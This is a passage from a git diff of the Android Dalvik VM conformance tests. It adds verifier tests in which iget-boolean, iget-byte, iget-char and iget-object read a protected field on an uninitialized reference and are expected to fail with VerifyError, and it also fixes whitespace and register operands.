+    /**
+     * @constraint N/A
+     * @title Attempt to read inaccessible protected field on uninitialized reference.
+     */
+    public void testVFE35() {
+        //@uses dot.junit.opcodes.iget_boolean.TestStubs
+        load("dot.junit.opcodes.iget_boolean.d.T_iget_boolean_35", VerifyError.class);
+    }
 }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.d
new file mode 100644
index 0000000..babcc08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.d
@@ -0,0 +1,31 @@
+; Copyright (C) 2016 The Android Open Source Project
+;
+; Licensed under the Apache License, Version 2.0 (the "License");
+; you may not use this file except in compliance with the License.
+; You may obtain a copy of the License at
+;
+;      http://www.apache.org/licenses/LICENSE-2.0
+;
+; Unless required by applicable law or agreed to in writing, software
+; distributed under the License is distributed on an "AS IS" BASIS,
+; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+; See the License for the specific language governing permissions and
+; limitations under the License.
+
+.source T_iget_boolean_35.java
+.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_35
+.super java/lang/Object
+
+.method public <init>()V
+.limit regs 1
+       invoke-direct {v0}, java/lang/Object/<init>()V
+       return-void
+.end method
+
+.method public run()Z
+.limit regs 2
+       iget-boolean v0, v1, dot.junit.opcodes.iget_boolean.TestStubs.TestStubProtectedField Z
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.java
new file mode 100644
index 0000000..7c95c37
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package dot.junit.opcodes.iget_boolean.d;
+
+public class T_iget_boolean_35 {
+
+    public boolean run(){
+        return false;
+    }
+}
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/TestStubs.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/TestStubs.java
index 90b1f13..ffae3b1 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/TestStubs.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/TestStubs.java
@@ -19,6 +19,6 @@
 public class TestStubs {
     // used by testVFE4
     private byte TestStubField = 50;
-    // ussed by testVFE15
+    // used by testVFE15 and testVFE35
     protected byte TestStubProtectedField = 50;
 }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/Test_iget_byte.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/Test_iget_byte.java
index 410dad4..4e7bbc7 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/Test_iget_byte.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/Test_iget_byte.java
@@ -30,16 +30,15 @@
 import dot.junit.opcodes.iget_byte.d.T_iget_byte_9;
 
 public class Test_iget_byte extends DxTestCase {
-    
+
     /**
-     * @title get byte from field 
+     * @title get byte from field
      */
     public void testN1() {
         T_iget_byte_1 t = new T_iget_byte_1();
         assertEquals(77, t.run());
     }
 
-
     /**
      * @title access protected field from subclass
      */
@@ -55,10 +54,10 @@
      */
     public void testE2() {
         loadAndRun("dot.junit.opcodes.iget_byte.d.T_iget_byte_9", NullPointerException.class);
-    }   
+    }
 
     /**
-     * @constraint A11 
+     * @constraint A11
      * @title  constant pool index
      */
     public void testVFE1() {
@@ -66,22 +65,22 @@
     }
 
     /**
-     * @constraint A23 
+     * @constraint A23
      * @title number of registers
      */
     public void testVFE2() {
         load("dot.junit.opcodes.iget_byte.d.T_iget_byte_3", VerifyError.class);
     }
-    
+
     /**
-     * @constraint B13 
-     * @title read byte from long field - only field with same name but 
+     * @constraint B13
+     * @title read byte from long field - only field with same name but
      * different type exists
      */
     public void testVFE3() {
         loadAndRun("dot.junit.opcodes.iget_byte.d.T_iget_byte_13", NoSuchFieldError.class);
     }
-    
+
     /**
      * @constraint n/a
      * @title Attempt to read inaccessible field.
@@ -106,7 +105,7 @@
     public void testVFE6() {
         loadAndRun("dot.junit.opcodes.iget_byte.d.T_iget_byte_8", NoSuchFieldError.class);
     }
-    
+
     /**
      * @constraint n/a
      * @title Attempt to read superclass' private field from subclass.
@@ -115,63 +114,63 @@
         //@uses dot.junit.opcodes.iget_byte.d.T_iget_byte_1
         loadAndRun("dot.junit.opcodes.iget_byte.d.T_iget_byte_12", IllegalAccessError.class);
     }
-   
+
     /**
-     * @constraint B1 
+     * @constraint B1
      * @title iget_byte shall not work for reference fields
      */
     public void testVFE8() {
         load("dot.junit.opcodes.iget_byte.d.T_iget_byte_14", VerifyError.class);
     }
-    
+
     /**
-     * @constraint B1 
+     * @constraint B1
      * @title iget_byte shall not work for short fields
      */
     public void testVFE9() {
         load("dot.junit.opcodes.iget_byte.d.T_iget_byte_15", VerifyError.class);
     }
-    
+
     /**
-     * @constraint B1 
+     * @constraint B1
      * @title iget_byte shall not work for int fields
      */
     public void testVFE10() {
         load("dot.junit.opcodes.iget_byte.d.T_iget_byte_16", VerifyError.class);
     }
-    
+
     /**
-     * @constraint B1 
+     * @constraint B1
      * @title iget_byte shall not work for char fields
      */
     public void testVFE11() {
         load("dot.junit.opcodes.iget_byte.d.T_iget_byte_17", VerifyError.class);
     }
-    
+
     /**
-     * @constraint B1 
+     * @constraint B1
      * @title iget_byte shall not work for boolean fields
      */
     public void testVFE12() {
         load("dot.junit.opcodes.iget_byte.d.T_iget_byte_18", VerifyError.class);
-    }    
-    
+    }
+
     /**
-     * @constraint B1 
+     * @constraint B1
      * @title iget_byte shall not work for double fields
      */
     public void testVFE13() {
         load("dot.junit.opcodes.iget_byte.d.T_iget_byte_19", VerifyError.class);
-    } 
-    
+    }
+
     /**
-     * @constraint B1 
+     * @constraint B1
      * @title iget_byte shall not work for long fields
      */
     public void testVFE14() {
         load("dot.junit.opcodes.iget_byte.d.T_iget_byte_20", VerifyError.class);
     }
-    
+
     /**
      * @constraint B12
      * @title Attempt to read inaccessible protected field.
@@ -181,20 +180,18 @@
         loadAndRun("dot.junit.opcodes.iget_byte.d.T_iget_byte_21", IllegalAccessError.class);
     }
 
-
     /**
      * @constraint A11
      * @title Attempt to read static  field.
      */
     public void testVFE16() {
-        //@uses dot.junit.opcodes.iget_byte.TestStubs
         loadAndRun("dot.junit.opcodes.iget_byte.d.T_iget_byte_5",
                    IncompatibleClassChangeError.class);
     }
 
     /**
-     * @constraint B6 
-     * @title instance fields may only be accessed on already initialized instances. 
+     * @constraint B6
+     * @title instance fields may only be accessed on already initialized instances.
      */
     public void testVFE30() {
         load("dot.junit.opcodes.iget_byte.d.T_iget_byte_30", VerifyError.class);
@@ -207,4 +204,13 @@
     public void testVFE31() {
         load("dot.junit.opcodes.iget_byte.d.T_iget_byte_31", VerifyError.class);
     }
+
+    /**
+     * @constraint N/A
+     * @title Attempt to read inaccessible protected field on uninitialized reference.
+     */
+    public void testVFE35() {
+        //@uses dot.junit.opcodes.iget_byte.TestStubs
+        load("dot.junit.opcodes.iget_byte.d.T_iget_byte_35", VerifyError.class);
+    }
 }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.d
new file mode 100644
index 0000000..8792c96
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.d
@@ -0,0 +1,33 @@
+; Copyright (C) 2016 The Android Open Source Project
+;
+; Licensed under the Apache License, Version 2.0 (the "License");
+; you may not use this file except in compliance with the License.
+; You may obtain a copy of the License at
+;
+;      http://www.apache.org/licenses/LICENSE-2.0
+;
+; Unless required by applicable law or agreed to in writing, software
+; distributed under the License is distributed on an "AS IS" BASIS,
+; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+; See the License for the specific language governing permissions and
+; limitations under the License.
+
+.source T_iget_byte_35.java
+.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_35
+.super java/lang/Object
+
+.method public <init>()V
+.limit regs 1
+       invoke-direct {v0}, java/lang/Object/<init>()V
+       return-void
+.end method
+
+.method public run()B
+.limit regs 2
+       iget-byte v0, v1, dot.junit.opcodes.iget_byte.TestStubs.TestStubProtectedField B
+       return v0
+.end method
+
+
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.java
new file mode 100644
index 0000000..17e78f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package dot.junit.opcodes.iget_byte.d;
+
+public class T_iget_byte_35 {
+
+    public byte run() {
+        return 0;
+    }
+}
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/TestStubs.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/TestStubs.java
index 5bf73ae..6969a104 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/TestStubs.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/TestStubs.java
@@ -19,6 +19,6 @@
 public class TestStubs {
     // used by testVFE4
     private char TestStubField = 50;
-    // ussed by testVFE15
+    // ussed by testVFE15 and testVFE35
     protected char TestStubProtectedField = 50;
 }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/Test_iget_char.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/Test_iget_char.java
index ff86ae3..c2b8f1c 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/Test_iget_char.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/Test_iget_char.java
@@ -30,9 +30,9 @@
 import dot.junit.opcodes.iget_char.d.T_iget_char_9;
 
 public class Test_iget_char extends DxTestCase {
-    
+
     /**
-     * @title get char from field 
+     * @title get char from field
      */
     public void testN1() {
         T_iget_char_1 t = new T_iget_char_1();
@@ -56,10 +56,9 @@
     public void testE2() {
         loadAndRun("dot.junit.opcodes.iget_char.d.T_iget_char_9", NullPointerException.class);
     }
-   
 
     /**
-     * @constraint A11 
+     * @constraint A11
      * @title constant pool index
      */
     public void testVFE1() {
@@ -67,24 +66,22 @@
     }
 
     /**
-     * 
-     * @constraint A23 
+     * @constraint A23
      * @title number of registers
      */
     public void testVFE2() {
         load("dot.junit.opcodes.iget_char.d.T_iget_char_3", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B13 
-     * @title read char from long field - only field with same name but 
+     * @constraint B13
+     * @title read char from long field - only field with same name but
      * different type exists
      */
     public void testVFE3() {
         loadAndRun("dot.junit.opcodes.iget_char.d.T_iget_char_13", NoSuchFieldError.class);
     }
-    
+
     /**
      * @constraint n/a
      * @title Attempt to read inaccessible field.
@@ -109,7 +106,7 @@
     public void testVFE6() {
         loadAndRun("dot.junit.opcodes.iget_char.d.T_iget_char_8", NoSuchFieldError.class);
     }
-    
+
     /**
      * @constraint n/a
      * @title Attempt to read superclass' private field from subclass.
@@ -118,67 +115,63 @@
         //@uses dot.junit.opcodes.iget_char.d.T_iget_char_1
         loadAndRun("dot.junit.opcodes.iget_char.d.T_iget_char_12", IllegalAccessError.class);
     }
-   
+
     /**
-     * @constraint B1 
+     * @constraint B1
      * @title iget_char shall not work for reference fields
      */
     public void testVFE8() {
         load("dot.junit.opcodes.iget_char.d.T_iget_char_14", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget_char shall not work for short fields
      */
     public void testVFE9() {
         load("dot.junit.opcodes.iget_char.d.T_iget_char_15", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget_char shall not work for int fields
      */
     public void testVFE10() {
         load("dot.junit.opcodes.iget_char.d.T_iget_char_16", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget_char shall not work for byte fields
      */
     public void testVFE11() {
         load("dot.junit.opcodes.iget_char.d.T_iget_char_17", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget_char shall not work for boolean fields
      */
     public void testVFE12() {
         load("dot.junit.opcodes.iget_char.d.T_iget_char_18", VerifyError.class);
-    }    
-    
+    }
+
     /**
-     * @constraint B1 
+     * @constraint B1
      * @title iget_char shall not work for double fields
      */
     public void testVFE13() {
         load("dot.junit.opcodes.iget_char.d.T_iget_char_19", VerifyError.class);
-    } 
-    
+    }
+
     /**
-     * @constraint B1 
+     * @constraint B1
      * @title iget_char shall not work for long fields
      */
     public void testVFE14() {
         load("dot.junit.opcodes.iget_char.d.T_iget_char_20", VerifyError.class);
     }
-    
+
     /**
      * @constraint B12
      * @title Attempt to read inaccessible protected field.
@@ -194,15 +187,13 @@
      * @title Attempt to read static  field.
      */
     public void testVFE16() {
-        //@uses dot.junit.opcodes.iget_char.TestStubs
         loadAndRun("dot.junit.opcodes.iget_char.d.T_iget_char_5",
                    IncompatibleClassChangeError.class);
     }
-    
 
     /**
-     * @constraint B6 
-     * @title instance fields may only be accessed on already initialized instances. 
+     * @constraint B6
+     * @title instance fields may only be accessed on already initialized instances.
      */
     public void testVFE30() {
         load("dot.junit.opcodes.iget_char.d.T_iget_char_30", VerifyError.class);
@@ -215,4 +206,13 @@
     public void testVFE31() {
         load("dot.junit.opcodes.iget_char.d.T_iget_char_31", VerifyError.class);
     }
+
+    /**
+     * @constraint N/A
+     * @title Attempt to read inaccessible protected field on uninitialized reference.
+     */
+    public void testVFE35() {
+        //@uses dot.junit.opcodes.iget_char.TestStubs
+        load("dot.junit.opcodes.iget_char.d.T_iget_char_35", VerifyError.class);
+    }
 }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.d
new file mode 100644
index 0000000..53ac999
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.d
@@ -0,0 +1,31 @@
+; Copyright (C) 2016 The Android Open Source Project
+;
+; Licensed under the Apache License, Version 2.0 (the "License");
+; you may not use this file except in compliance with the License.
+; You may obtain a copy of the License at
+;
+;      http://www.apache.org/licenses/LICENSE-2.0
+;
+; Unless required by applicable law or agreed to in writing, software
+; distributed under the License is distributed on an "AS IS" BASIS,
+; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+; See the License for the specific language governing permissions and
+; limitations under the License.
+
+.source T_iget_char_35.java
+.class public dot.junit.opcodes.iget_char.d.T_iget_char_35
+.super java/lang/Object
+
+.method public <init>()V
+.limit regs 1
+       invoke-direct {v0}, java/lang/Object/<init>()V
+       return-void
+.end method
+
+.method public run()C
+.limit regs 2
+       iget-char v0, v1, dot.junit.opcodes.iget_char.TestStubs.TestStubProtectedField C
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.java
new file mode 100644
index 0000000..0b3434a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package dot.junit.opcodes.iget_char.d;
+
+public class T_iget_char_35 {
+
+    public char run() {
+        return 0;
+    }
+}
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/TestStubs.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/TestStubs.java
index 0a68e56..74d7f93 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/TestStubs.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/TestStubs.java
@@ -19,6 +19,6 @@
 public class TestStubs {
     // used by testVFE4
     private Object TestStubField = null;
-    // used by testVFE15
+    // used by testVFE16 and testVFE35
     protected Object TestStubProtectedField = null;
 }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/Test_iget_object.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/Test_iget_object.java
index 7314141..9ae5548 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/Test_iget_object.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/Test_iget_object.java
@@ -24,6 +24,7 @@
 import dot.junit.opcodes.iget_object.d.T_iget_object_13;
 import dot.junit.opcodes.iget_object.d.T_iget_object_21;
 import dot.junit.opcodes.iget_object.d.T_iget_object_22;
+import dot.junit.opcodes.iget_object.d.T_iget_object_35;
 import dot.junit.opcodes.iget_object.d.T_iget_object_5;
 import dot.junit.opcodes.iget_object.d.T_iget_object_6;
 import dot.junit.opcodes.iget_object.d.T_iget_object_7;
@@ -31,9 +32,9 @@
 import dot.junit.opcodes.iget_object.d.T_iget_object_9;
 
 public class Test_iget_object extends DxTestCase {
-    
+
     /**
-     * @title get reference from field 
+     * @title get reference from field
      */
     public void testN1() {
         T_iget_object_1 t = new T_iget_object_1();
@@ -56,10 +57,10 @@
      */
     public void testE2() {
         loadAndRun("dot.junit.opcodes.iget_object.d.T_iget_object_9", NullPointerException.class);
-    }  
+    }
 
     /**
-     * @constraint A11 
+     * @constraint A11
      * @title constant pool index
      */
     public void testVFE1() {
@@ -67,24 +68,22 @@
     }
 
     /**
-     * 
-     * @constraint A23 
+     * @constraint A23
      * @title number of registers
      */
     public void testVFE2() {
         load("dot.junit.opcodes.iget_object.d.T_iget_object_3", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B13 
-     * @title  (read object from long field - only field with same name but 
+     * @constraint B13
+     * @title  (read object from long field - only field with same name but
      * different type exists)
      */
     public void testVFE3() {
         loadAndRun("dot.junit.opcodes.iget_object.d.T_iget_object_13", NoSuchFieldError.class);
     }
-    
+
     /**
      * @constraint n/a
      * @title Attempt to read inaccessible field.
@@ -109,7 +108,7 @@
     public void testVFE6() {
         loadAndRun("dot.junit.opcodes.iget_object.d.T_iget_object_8", NoSuchFieldError.class);
     }
-    
+
     /**
      * @constraint n/a
      * @title Attempt to read superclass' private field from subclass.
@@ -118,78 +117,71 @@
         //@uses dot.junit.opcodes.iget_object.d.T_iget_object_1
         loadAndRun("dot.junit.opcodes.iget_object.d.T_iget_object_12", IllegalAccessError.class);
     }
-   
+
     /**
-     * @constraint B1 
+     * @constraint B1
      * @title iget_object shall not work for short fields
      */
     public void testVFE8() {
         load("dot.junit.opcodes.iget_object.d.T_iget_object_14", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget_object shall not work for char fields
      */
     public void testVFE9() {
         load("dot.junit.opcodes.iget_object.d.T_iget_object_15", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget_object shall not work for int fields
      */
     public void testVFE10() {
         load("dot.junit.opcodes.iget_object.d.T_iget_object_16", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget_object shall not work for byte fields
      */
     public void testVFE11() {
         load("dot.junit.opcodes.iget_object.d.T_iget_object_17", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget_object shall not work for boolean fields
      */
     public void testVFE12() {
         load("dot.junit.opcodes.iget_object.d.T_iget_object_18", VerifyError.class);
-    }    
-    
+    }
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget_object shall not work for double fields
      */
     public void testVFE13() {
         load("dot.junit.opcodes.iget_object.d.T_iget_object_19", VerifyError.class);
-    } 
-    
+    }
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget_object shall not work for long fields
      */
     public void testVFE14() {
         load("dot.junit.opcodes.iget_object.d.T_iget_object_20", VerifyError.class);
-    } 
-    
+    }
+
     /**
-     * 
-     * @constraint B13 
+     * @constraint B13
      * @title  only field of different type exists
      */
     public void testVFE15() {
         loadAndRun("dot.junit.opcodes.iget_object.d.T_iget_object_21", NoSuchFieldError.class);
     }
-    
+
     /**
      * @constraint B12
      * @title Attempt to read inaccessible protected field.
@@ -204,14 +196,13 @@
      * @title Attempt to read static field.
      */
     public void testVFE17() {
-        //@uses dot.junit.opcodes.iget_object.TestStubs
         loadAndRun("dot.junit.opcodes.iget_object.d.T_iget_object_5",
                    IncompatibleClassChangeError.class);
     }
 
     /**
-     * @constraint B6 
-     * @title instance fields may only be accessed on already initialized instances. 
+     * @constraint B6
+     * @title instance fields may only be accessed on already initialized instances.
      */
     public void testVFE30() {
         load("dot.junit.opcodes.iget_object.d.T_iget_object_30", VerifyError.class);
@@ -219,9 +210,18 @@
 
     /**
      * @constraint N/A
-     * @title instance fields may only be accessed on already initialized instances. 
+     * @title instance fields may only be accessed on already initialized instances.
      */
     public void testVFE31() {
         load("dot.junit.opcodes.iget_object.d.T_iget_object_31", VerifyError.class);
     }
+
+    /**
+     * @constraint N/A
+     * @title Attempt to read inaccessible protected field on uninitialized reference.
+     */
+    public void testVFE35() {
+        //@uses dot.junit.opcodes.iget_object.TestStubs
+        load("dot.junit.opcodes.iget_object.d.T_iget_object_35", VerifyError.class);
+    }
 }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_22.d
index 2858934..38872fd 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_22.d
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_22.d
@@ -30,7 +30,7 @@
        new-instance v0, Ldot/junit/opcodes/iget_object/TestStubs;
        invoke-direct {v0}, dot/junit/opcodes/iget_object/TestStubs/<init>()V
 
-       iget-object v1, v2, dot.junit.opcodes.iget_object.TestStubs.TestStubProtectedField Ljava/lang/Object;
+       iget-object v1, v0, dot.junit.opcodes.iget_object.TestStubs.TestStubProtectedField Ljava/lang/Object;
        return-object v1
 .end method
 
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.d
new file mode 100644
index 0000000..a4fc423
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.d
@@ -0,0 +1,31 @@
+; Copyright (C) 2016 The Android Open Source Project
+;
+; Licensed under the Apache License, Version 2.0 (the "License");
+; you may not use this file except in compliance with the License.
+; You may obtain a copy of the License at
+;
+;      http://www.apache.org/licenses/LICENSE-2.0
+;
+; Unless required by applicable law or agreed to in writing, software
+; distributed under the License is distributed on an "AS IS" BASIS,
+; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+; See the License for the specific language governing permissions and
+; limitations under the License.
+
+.source T_iget_object_35.java
+.class public dot.junit.opcodes.iget_object.d.T_iget_object_35
+.super java/lang/Object
+
+.method public <init>()V
+.limit regs 1
+       invoke-direct {v0}, java/lang/Object/<init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.limit regs 2
+       iget-object v0, v1, dot.junit.opcodes.iget_object.TestStubs.TestStubProtectedField Ljava/lang/Object;
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.java
new file mode 100644
index 0000000..f7ceb9b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package dot.junit.opcodes.iget_object.d;
+
+public class T_iget_object_35  {
+
+    public Object run() {
+        return null;
+    }
+}
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_6.d
index e9082e0..ccf829d 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_6.d
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_6.d
@@ -30,7 +30,7 @@
        new-instance v0, Ldot/junit/opcodes/iget_object/TestStubs;
        invoke-direct {v0}, dot/junit/opcodes/iget_object/TestStubs/<init>()V
 
-       iget-object v1, v2, dot.junit.opcodes.iget_object.TestStubs.TestStubField Ljava/lang/Object;
+       iget-object v1, v0, dot.junit.opcodes.iget_object.TestStubs.TestStubField Ljava/lang/Object;
        return-object v1
 .end method
 
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/TestStubs.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/TestStubs.java
index 8580ec3..f299301 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/TestStubs.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/TestStubs.java
@@ -19,6 +19,6 @@
 public class TestStubs {
     // used by testVFE4
     private short TestStubField = 50;
-    // used by testVFE15
+    // used by testVFE15 and testVFE35
     protected short TestStubProtectedField = 50;
 }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/Test_iget_short.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/Test_iget_short.java
index 566ec3f..bd77708 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/Test_iget_short.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/Test_iget_short.java
@@ -30,7 +30,7 @@
 import dot.junit.opcodes.iget_short.d.T_iget_short_9;
 
 public class Test_iget_short extends DxTestCase {
-    
+
     /**
      * @title get short from field
      */
@@ -58,7 +58,7 @@
     }
 
     /**
-     * @constraint A11 
+     * @constraint A11
      * @title constant pool index
      */
     public void testVFE1() {
@@ -66,24 +66,22 @@
     }
 
     /**
-     * 
-     * @constraint A23 
+     * @constraint A23
      * @title number of registers
      */
     public void testVFE2() {
         load("dot.junit.opcodes.iget_short.d.T_iget_short_3", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B13 
-     * @title read short from long field - only field with same name but 
+     * @constraint B13
+     * @title read short from long field - only field with same name but
      * different type exists
      */
     public void testVFE3() {
         loadAndRun("dot.junit.opcodes.iget_short.d.T_iget_short_13", NoSuchFieldError.class);
     }
-    
+
     /**
      * @constraint n/a
      * @title Attempt to read inaccessible field.
@@ -108,7 +106,7 @@
     public void testVFE6() {
         loadAndRun("dot.junit.opcodes.iget_short.d.T_iget_short_8", NoSuchFieldError.class);
     }
-    
+
     /**
      * @constraint n/a
      * @title Attempt to read superclass' private field from subclass.
@@ -117,69 +115,63 @@
         //@uses dot.junit.opcodes.iget_short.d.T_iget_short_1
         loadAndRun("dot.junit.opcodes.iget_short.d.T_iget_short_12", IllegalAccessError.class);
     }
-   
+
     /**
-     * @constraint B1 
+     * @constraint B1
      * @title iget_short shall not work for reference fields
      */
     public void testVFE8() {
         load("dot.junit.opcodes.iget_short.d.T_iget_short_14", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget_short shall not work for char fields
      */
     public void testVFE9() {
